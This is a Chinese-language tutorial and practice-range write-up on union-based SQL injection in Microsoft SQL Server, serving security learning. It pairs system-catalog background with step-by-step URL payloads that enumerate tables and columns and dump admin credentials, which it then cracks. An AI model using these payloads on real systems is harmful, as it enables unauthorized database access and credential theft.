sql server(mssql)聯合注入

sql server(mssql)聯合注入

  • sql server簡介:
    • SQL Server 是Microsoft 公司推出的關係型數據庫管理系統。具有使用方便可伸縮性好與相關軟件集成程度高等優點,可跨越從運行Microsoft Windows 98 的膝上型電腦到運行Microsoft Windows 2012 的大型多處理器的服務器等多種平台使用。

1. 前置知識

  • 以下資料均來自:sql server聯機叢書:

1.1 sql server數據庫內置函數:

  • DB_NAME ( [ database_id ] ):如果對 DB_NAME 的調用省略 database_id,則 DB_NAME 返回當前數據庫的名稱;如果不省略,則返回對應數據庫id的數據庫名稱
  • COL_NAME ( table_id , column_id )
    • 參數:
      1. table_id:包含列的表的標識號。table_id 的類型為 int。
      2. column_id:列的標識號。column_id 參數的類型為 int。
    • 作用:據指定的對應表標識號和列標識號返回列的名稱。
  • OBJECT_ID ( ‘[ database_name . [ schema_name ] . | schema_name . ] object_name’ [ ,’object_type’ ] )
    • 參數:
      1. object_name:要使用的對象。object_name 的數據類型為 varchar 或 nvarchar。如果 object_name 的數據類型為 varchar,則它將隱式轉換為nvarchar。可以選擇是否指定數據庫和架構名稱。
      2. object_type:架構範圍的對象類型。object_type 的數據類型為 varchar 或 nvarchar。如果 object_type 的數據類型為 varchar,則它將隱式轉換為 nvarchar。
    • 作用:返回架構範圍內對象的數據庫對象標識號。
  • @@VERSION
    • 作用:返回當前的 SQL Server 安裝的版本、處理器體系結構、生成日期和操作系統。

1.2 sql server數據庫的系統視圖

  • 以下系統視圖在數據庫創建之初就會默認創建,存在於每一個數據庫中
  1. sysobjects:
    • 準確的來說應稱 sysobject 為系統視圖,而不是表;不過在sql server2000版本及以前它的確是作為表而存在的。
    • 作用:這張視圖存儲量該數據庫內每一個對象(包括約束、默認值、日誌、規則、存儲過程等),每一個對象為其中的一條記錄
    • 擁有的字段名(這裡只介紹數據庫提供支持的字段):
      * 列名            數據類型      說明
        name;         sysname;     對象名
        id;           int;         對象標識號
        uid;          smallint;    對象所有者的架構 ID。__對於從舊版 SQL Server 升級的數據庫,架構 ID 等於所有者的用戶 ID。__
        parent_obj;   int;         父對象的對象標識號。例如,表 ID(如果父對象是觸發器或約束)。
        crdate;       datetime;    對象的創建日期。
        ftcatid;      smallint;    註冊為使用全文索引的所有用戶表的全文目錄標識符,對於沒有註冊的所有用戶表則為 0。
        schema_ver;   int;         在每次更改表的架構時都會增加的版本號。始終返回 0。
        xtype;        char(2);     對象類型。可以是以下對象類型之一:
                                  AF = 聚合函數 (CLR)
                                  C = CHECK 約束
                                  D = 默認值或 DEFAULT 約束
                                  F = FOREIGN KEY 約束
                                  L = 日誌
                                  FN = 標量函數
                                  FS = 程序集 (CLR) 標量函數
                                  FT = 程序集 (CLR) 表值函數
                                  IF = 內聯表函數
                                  IT = 內部表
                                  P = 存儲過程
                                  PC = 程序集 (CLR) 存儲過程
                                  PK = PRIMARY KEY 約束(類型為 K)
                                  RF = 複製篩選存儲過程
                                  S = 系統表
                                  SN = 同義詞
                                  SQ = 服務隊列
                                  TA = 程序集 (CLR) DML 觸發器
                                  TF = 表函數
                                  TR = SQL DML 觸發器
                                  TT = 表類型
                                  U = 用戶表(__我們在這裡使用的就是這個參數__)
                                  UQ = UNIQUE 約束(類型為 K)
                                  V = 視圖
                                  X = 擴展存儲過程
      
  2. syscolumns
    • 作用;為每個表和視圖中的每一字段返回一行,並為數據庫中的存儲過程的每個參數返回一行
    • 擁有的字段名(這裡只介紹數據庫提供支持的字段)
      列名       數據類型                     說明
      name       sysname                     列名或過程參數的名稱。
      id         int                         此列所屬表的對象 ID,或者與此參數關聯的存儲過程的 ID。
      xtype      tinyint                     sys.types 中的物理存儲類型。
      typestat   tinyint                     標識為僅供參考。不提供支持。不保證以後的兼容性。 
      xusertype  smallint                    擴展的用戶定義數據類型的ID。如果數據類型的數字超過 32,767,則溢出或返回 NULL。有關詳細信息,請參閱查詢 SQL Server 系統目錄。
      length     smallint                    sys.types 中的最大物理存儲長度。
      colid      smallint                    列 ID 或參數 ID。
      cdefault   int                         此列的默認值的 ID。
      domain     int                         此列的規則或 CHECK 約束的 ID
      number     smallint                    過程分組時的子過程號。0 = 非過程項 容性。 
      offset     smallint                    此列所在行的偏移量。
      collationid int                        列的排序規則的 ID。對於非字符列,此值為 NULL。
      status     tinyint                     用於說明列或參數的屬性的位圖:
      type       tinyint                     sys.types 中的物理存儲類型。
      usertype   smallint                    sys.types中的用戶定義數據類型的 ID。如果數據類型數超過 32767,則會發生溢出或返回 NULL。有關詳細信息,請參閱查詢 SQL Server 系統目錄。
      prec       smallint                    此列的精度級別。-1 = xml 或大值類型。
      scale      int                         此列的小數位數。NULL = 數據類型不是數值。
      iscomputed int                         指示列是否為計算列的標誌:0 = 非計算列。1 = 計算列。
      isoutparam int                         指示過程參數是否為輸出參數:1 = True 0 = False
      isnullable int                         指示列是否允許空值:1 = True 0 = False
      collation  sysname                     列的排序規則的名稱。如果不是基於字符的列,則為 NULL。
      

1.3 Transact-SQL 語法約定 –> 多部分名稱

  • 這部分知識用來理解sql語句:select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=’u’),’3′,null 中, mozhe_db_v2.dbo.sysobjects 的命名格式的含義。
  • 多部分名稱:
    • 除非另外指定,否則,所有對數據庫對象名的Transact-SQL引用將是由四部分組成的名稱,格式如下:
      server_name .[database_name].[schema_name].object_name
      | database_name.[schema_name].object_name
      | schema_name.object_name
      | object_name 
      
    • 解釋說明:
      1. server_name:指定鏈接的服務器名稱或遠程服務器名稱。
      2. database_name:如果對象駐留在 SQL Server 的本地實例中(說人話就是你操作的數據庫在本地),則指定 SQL Server 數據庫的名稱。如果對象在鏈接服務器中,則 database_name 將指定 OLE DB 目錄。
      3. schema_name:如果對象在 SQL Server數據庫中,則指定包含對象的 架構的名稱(對於從舊版 SQL Server 升級的數據庫,架構 ID 等於所有者的用戶 ID)。如果對象在鏈接服務器中,則 schema_name將指定 OLE DB 架構名稱。
      4. object_name:對象的名稱。
    • 注意:
      1. 引用某個特定對象時,不必總是指定服務器、數據庫和架構供 SQL Server數據庫引擎標識該對象。但是,如果找不到該對象,將返回錯誤。
      2. 對於從舊版 SQL Server 升級的數據庫,架構 ID 等於所有者的用戶 ID
    • 若要省略中間節點,請使用句點來指示這些位置。下表顯示了對象名的有效格式。
      server . database . schema . object 四個部分的名稱。
      server . database .. object  省略架構名稱。
      server .. schema . object    省略數據庫名稱。
      server ... object            省略數據庫和架構名稱。
      database . schema . object   省略服務器名。
      database .. object           省略服務器和架構名稱。
      schema . object              省略服務器和數據庫名稱。
      object                       省略服務器、數據庫和架構名稱。
      

1.4 關於對象、架構(結合 1.3的多部分名稱理解 )

  • 對象:在sql server數據庫中,表,視圖,函數等都被看作為 「(安全)對象」。每一個對象都有其 「對象名」 以及其 「對象ID」。
  • 架構:架構是指包含 表、視圖、過程等對象容器。它位於數據庫內部,而數據庫位於服務器內部。這些實體就像嵌套框放置在一起。服務器是最外面的框,而架構是最裏面的框。架構 包含下面列出的所有【安全對象】,但是它不包含其他框。
    必須位於架構內部的安全對象    類  
    類型                          TYPE
    XML 架構集合                  XML SCHEMA COLLECTION
    表                            OBJECT
    視圖                          OBJECT
    過程                          OBJECT
    函數                          OBJECT
    聚合函數                      OBJECT
    約束                          OBJECT
    同義詞                        OBJECT
    隊列                          OBJECT
    統計信息                       OBJECT
    
  • 默認架構
    • 為了解析不完全限定的安全對象名稱,SQL Server 2000使用名稱解析來檢查執行調用的數據庫用戶所擁有的架構和 dbo 所擁有的架構。
    • DBO是系統的默認架構,DBO作為架構來定義對象,能夠使數據庫中的任何用戶引用而不必提供架構名稱。DBO架構的所有者默認是dbo賬戶。
    • sys也是系統的默認架構,sys架構的所有者默認是sys賬戶。
  • 注意:
    1. 特定架構中的每個安全對象都必須有唯一的名稱。架構中安全對象的 「完全指定名稱」 包括此安全對象所在的架構的名稱。因此,架構也是命名空間
    2. 【在 SQL Server 2000 和早期版本中】,數據庫可以包含一個名為 「架構」 的實體,但此實體實際上是 「數據庫用戶」;【在 SQL Server 2005 中】,架構行為已更改。架構不再等效於數據庫用戶。現在,每個架構都是獨立於創建它的數據庫用戶存在的不同命名空間。即:在 SQL Server 2005 和 SQL Server 2008 中架構既是一個容器,又是一個命名空間,且架構只能有一個所有者,但一個用戶可以擁有多個架構

2.mssql 聯合注入流程

  1. 判斷注入點
  2. 判斷當前注入點所查詢的字段數
  3. 確定顯示位
  4. 查詢當前數據庫名,當前數據庫的版本號
  5. 查詢當前數據庫中有多少張表
  6. 查詢數據庫中的所有表名
  7. 查詢表中有多少字段
  8. 查詢每一個字段的名稱
  9. 判斷manage表中有多少條記錄
  10. 查詢賬號密碼

3. 靶場實戰(這裡以「墨者」的的靶場為例)

3.1 判斷注入點

  • payload:
    ?id=2 and 1=1 -- 頁面返回正常
    ?id=2 and 1=2 -- 頁面返回出錯
    
    • 由下圖可分析得:存在注入點,且為數字型注入
      01_mssql聯合注入 - 判斷注入點

3.2 判斷當前注入點所查詢的字段數

  • payload
    ?id=2 order by 4 -- 頁面返回正常
    ?id=2 order by 5 -- 頁面返回失敗
    
    • 由下圖分析可得:判斷當前注入點所查詢的字段數為:4
      02_mssql聯合注入 - 判斷當前注入點所查詢的字段數

3.3 確定顯示位

  • payload:
    ?id=2 and 1=2 union all select null,null,null,null
    ?id=2 and 1=2 union all select 'null',null,null,null
    ?id=2 and 1=2 union all select null,'null',null,null -- 出現顯示位
    ?id=2 and 1=2 union all select null,null,'null',null -- 出現顯示位
    ?id=2 and 1=2 union all select null,null,null,'null'
    
    • 由下圖分析可得:顯示位出現在 2號 和 3號 位。
      03_mssql聯合注入 - 確定顯示位
    • 這裡說明一下,為什麼sql server與mysql 確定顯示位的方法不同:
      • 原因是sql server數據庫是強數據類型,即union關鍵字前後的select查詢所查詢的字段的數據類型必須相同(mysql可以不同),這就導致在我們不知道union關鍵字前面的數據類型的前提下,必須先使用 null數據類型 來充當字段。然後依次為 null 加單引號使其變為字符串類型,如果加上單引號使null變為的字符串類型與union前面對應的字段類型相同,就自然會在頁面中回顯出顯示位。

3.4 查詢當前數據庫名,當前數據庫的版本號

  • payload:
    ?id=2 and 1=2 union all select null,db_name(),@@version,null
    
    • 由下圖我們可以得出:當前數據庫名為 mozhe_db_v2
      04_mssql聯合注入 - 查詢當前數據庫名,當前數據庫的版本號

3.5 查詢當前數據庫中有多少張表

  • payload1:
    ?id=2 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.sysobjects where xtype='u'),@@version,null
    
    • 由下圖的回顯可知:當前數據庫存在2張表
      05_mssql聯合注入 - 查詢當前數據庫中有多少張表
    • 為了讓我們更深入的理解上述sql語句以及sql server的機制,在此借題發揮一下,請同學們結合我前面所介紹的「前置知識–>Transact-SQL 語法約定–>多部分名稱」 來判斷一下,下面的payload是否可以達到與上面payload相同的效果?
      payload2:?id=1 and 1=2 union all select null,(select count(*) from ...sysobjects where xtype='u'),@@version,null
      payload3:?id=1 and 1=2 union all select null,(select count(*) from sysobjects where xtype='u'),@@version,null
      payload4:?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2..sysobjects where xtype='u'),@@version,null
      payload5:?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2.sysobjects where xtype='u'),@@version,null
      
    • 下圖是以上payload的執行結果:
      06_mssql聯合注入 - 查詢當前數據庫中有多少張表
    • 我們可以看出,只有payload5執行失敗了。

3.6 查詢數據庫中的所有表名

  • payload:
    • 查詢第一張表名:
      ?id=1 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',null
      

      07_mssql聯合注入 - 查詢第一張表名

    • 查詢第二張表名:
      ?id=1 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name<>'manage'),'3',null
      

      07_mssql聯合注入 - 查詢第二張表名

    • 顯然 manage 表是我們所需要的。

3.7 查詢表中有多少字段

  • payload:
    ?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.syscolumns where id=object_id('manage')),'3',null
    
    • 由圖分析可知:manage表中存在3個字段。
      08_mssql聯合注入 - 查詢表中有多少字段

3.8 查詢每一個字段的名稱

  • payload:(使用col_name()函數)
    • 查詢manage表的第一個字段名
      ?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),1) ),'3',null
      

      09_mssql聯合注入 - 查詢每一個字段的名稱

    • 查詢manage表的第二個字段名
      ?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),2) ),'3',null
      

      09_mssql聯合注入 - 查詢每二個字段的名稱

    • 查詢manage表的第三個字段名
      ?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),3) ),'3',null
      

      09_mssql聯合注入 - 查詢每三個字段的名稱

    • 顯然字段 username 與 password 是我們所需要的
  • 其實在這裡我們也可以使用以下payload來查詢字段名(使用了syscolumns系統視圖,不使用col_name()函數)— 關於syscolumns系統視圖請看 前置知識
    -- 查詢manage表的第一個字段名
    ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage')),null,null
    -- 查詢manage表的第二個字段名
    ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id'),null,null
    -- 查詢manage表的第三個字段名
    ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id' and name<>'username'),null,null
    

3.9 判斷manage表中有多少條記錄

  • payload:
    ?id=1 and 1=2 union all select null,count(*),null,null from manage
    
    • 由下圖可知,manage表中存在 1 條記錄
      10_mssql聯合注入 - 判斷manage表中存在多少條記錄

3.10 查詢賬號密碼

  • payload:
    ?id=1 and 1=2 union all select null,username,password,null from manage
    
    • 由下圖可知,賬號密碼為:admin_mz/72e1bfc3f01b7583
      11_mssql聯合注入 - 查詢賬號密碼
    • 顯然這裡的密碼是經過MD5加密後的,那麼我們就通過網站 //www.cmd5.com 進行解密,得到明文:97285101。所以賬號密碼:admin_mz/97285101

3.11 登錄後台拿flag

  • KEY: mozhe3ecd86b639e1b4af48c27353ab0
    12_mssql聯合注入 - 登錄拿flag
Tags: